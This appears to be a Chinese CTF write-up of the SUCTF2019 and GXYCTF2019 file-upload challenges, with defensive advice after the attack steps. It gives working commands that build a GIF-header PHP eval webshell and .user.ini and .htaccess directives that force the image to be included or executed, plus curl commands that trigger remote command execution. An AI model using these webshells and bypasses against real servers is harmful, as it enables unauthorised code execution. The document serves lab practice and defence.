[SUCTF2019 & GXYCTF2019] 文件上传绕过实战:图片马 + .user.ini / .htaccess 构造 PHP 后门

摘要

本文整合两道经典上传绕过题(SUCTF2019 CheckIn1、GXYCTF2019 BabyUpload1)的思路与复现:通过文件头伪装与图片马隐藏 PHP 代码,配合目录级配置文件(.user.ini 或 .htaccess)将图片当作 PHP 自动包含或强制解析,从而实现远程命令执行(RCE)。文中给出实验步骤、PoC 命令与防御建议,供安全学习和靶场复现使用(仅限授权范围)。

目录

  1. 背景与目标
  2. 关键原理解析
  3. 环境准备
  4. 攻击复现(两种路径)
    • 路径 A:.user.ini + 图片马(SUCTF CheckIn1)
    • 路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)
  5. PoC 命令与示例代码
  6. 防御与修复建议
  7. 总结与扩展

1. 背景与目标

文件上传是 Web 常见功能,也是大量漏洞来源。常见防护包括后缀白名单、Content-Type 校验、exif_imagetype() 等基于文件头的检测。两道题都考察如何在严格过滤下把一句话木马/后门放进服务器并执行,常见链路为:上传图片马(polyglot)+ 利用目录级配置文件(.user.ini 或 .htaccess)使其被包含或当作 PHP 解析 → 获取 WebShell → 读取 flag。


2. 关键原理解析

  • 文件头伪装:exif_imagetype() 等函数只看文件开头签名(magic bytes),可在 PHP 代码前加合法图片签名(例如 GIF89a)以通过检测。
  • 图片马(Polyglot):在合法图片末尾追加 PHP 代码,文件仍能被识别为图片,但被包含/解析时 PHP 会执行其中代码。
  • 目录级配置:
    • .user.ini(PHP-FPM/CGI):可设置 auto_prepend_file/auto_append_file,使指定文件在目录内的 PHP 执行前后被自动包含。需要 PHP 启用 user_ini.filename。
    • .htaccess(Apache):可用 AddType/SetHandler/ForceType 等指令把特定扩展名强制当作 PHP 解析。需 AllowOverride 允许相关指令。
  • 生效条件:.user.ini 仅在 CGI/FastCGI/Php-FPM 且用户级 ini 启用时生效;.htaccess 依赖 Apache 配置。上传目录权限与服务器配置会影响成功率。

3. 环境准备

  • 靶机:建议 Docker 搭建(nginx+php-fpm 或 Apache+php)。
  • 可上传的 Web 应用(带上传限制)。
  • 工具:curl、Burp Suite(抓包修改 Content-Type)、Python(生成图片马)、AntSword/Behinder(连接 webshell,可选)。
  • 示例一句话木马(仅用于授权测试):<?php @eval($_POST['cmd']); ?>

4. 攻击复现

路径 A:.user.ini + 图片马(SUCTF CheckIn1)

思路:上传一个带图片头的文件(前缀为图片签名),在末尾追加一句话木马;再上传 .user.ini 指向该文件(auto_prepend_file / auto_append_file),当访问目录下 PHP 文件时会包含并执行木马。

步骤:

  1. 生成图片马(示例命令):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif
  2. 上传 mal.gif 到目标上传目录(通过页面或绕过检测)。
  3. 创建 .user.ini 内容示例并上传到同一目录:
    auto_prepend_file = "mal.gif"
    (或 auto_append_file,根据场景选择)
  4. 访问目录下任意 PHP 文件并通过 POST 发送 cmd 参数触发执行:
    curl -d "cmd=system('id');" http://target/vuln.php

注意事项:.user.ini 的生效可能有缓存(user_ini.cache_ttl),并非立刻生效;且目标需启用 user_ini.filename。


路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)

思路:上传 .htaccess 将 .jpg/.png 强制当作 PHP 解析(AddType/SetHandler/ForceType),再上传图片木马(shell.jpg),访问该图片触发执行。

步骤:

  1. 准备图片木马(shell.jpg),方式同上(在图片末尾追加 PHP 代码)。
  2. 准备 .htaccess 示例(Apache 环境):
    AddType application/x-httpd-php .jpg

    <FilesMatch ".(jpg|png)$">
    SetHandler application/x-httpd-php
  3. 上传 .htaccess 与 shell.jpg(上传时可用 Burp 修改 Content-Type 为 image/jpeg 以绕过检测)。
  4. 访问 shell.jpg,如果生效则执行 PHP 代码:curl -d "cmd=phpinfo()" http://target/uploads/shell.jpg

注意事项:部分服务器禁止上传 .htaccess 或 Ignore .htaccess;上传 Content-Type 常被检测,需根据题目环境调整。


5. PoC 命令与示例代码

  • 生成图片马(Linux):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif
  • 上传文件(示例):
    curl -F "file=@mal.gif;type=image/gif" http://target/upload.php
  • 触发执行(示例):
    curl -d "cmd=phpinfo()" http://target/vuln.php
  • .user.ini 示例内容:
    auto_prepend_file = "mal.gif"
  • .htaccess 示例内容:
    AddType application/x-httpd-php .jpg

(在发布时请配合截图展示上传成功后的文件列表、.user.ini/.htaccess 内容与触发命令的响应截图)


6. 防御与修复建议

  • 不仅检查扩展名或 Content-Type,且不要单靠 exif_imagetype();使用更严格的文件解析库或对图片进行重新编码(重采样/重新生成)以去除尾部杂质。
  • 将上传目录设为不可执行(禁用 PHP 解析);通过服务器配置(nginx location /uploads { try_files $uri =404; } 或 Apache 配置)禁止执行脚本。
  • 关闭或限制目录级配置:在生产环境中可将 user_ini.filename 设为空以禁用 .user.ini,或禁止写入 .htaccess/.user.ini。
  • 对上传的文件统一重命名、存储到隔离目录并设置最小权限。
  • 增加监控:检测新增 .user.ini/.htaccess 与异常文件尾部数据、文件内容扫描等。
  • 对重要函数(eval/system/exec/passthru)进行安全策略或禁用(需谨慎评估影响)。
相关推荐
挖矿大亨2 小时前
C++中const修饰成员函数
开发语言·c++
洋九八2 小时前
Hi3861 OpenHarmony 多线程操作、Timer 定时器、点灯、 IO 相关设备控制
开发语言·华为·harmonyos
Koma_zhe2 小时前
【开源特斯拉车辆数据管理工具TeslaMate】TeslaMate+cpolar:特斯拉数据远程看,隐私安全两不误
安全·开源
星火开发设计2 小时前
using 关键字:命名空间的使用与注意事项
开发语言·c++·学习·算法·编程·知识
安全检测中2 小时前
序列化与反序列化学习
java·开发语言
进击的荆棘2 小时前
C++起始之路——string
开发语言·c++·stl
CHU7290352 小时前
探索一番赏盲盒小程序:解锁多元互动体验新场景
小程序·php
lfq7612042 小时前
.NET Framework 下 C# MVC 项目敏感信息安全存储方法
安全·c#·mvc·.net
孞㐑¥2 小时前
算法—字符串
开发语言·c++·经验分享·笔记·算法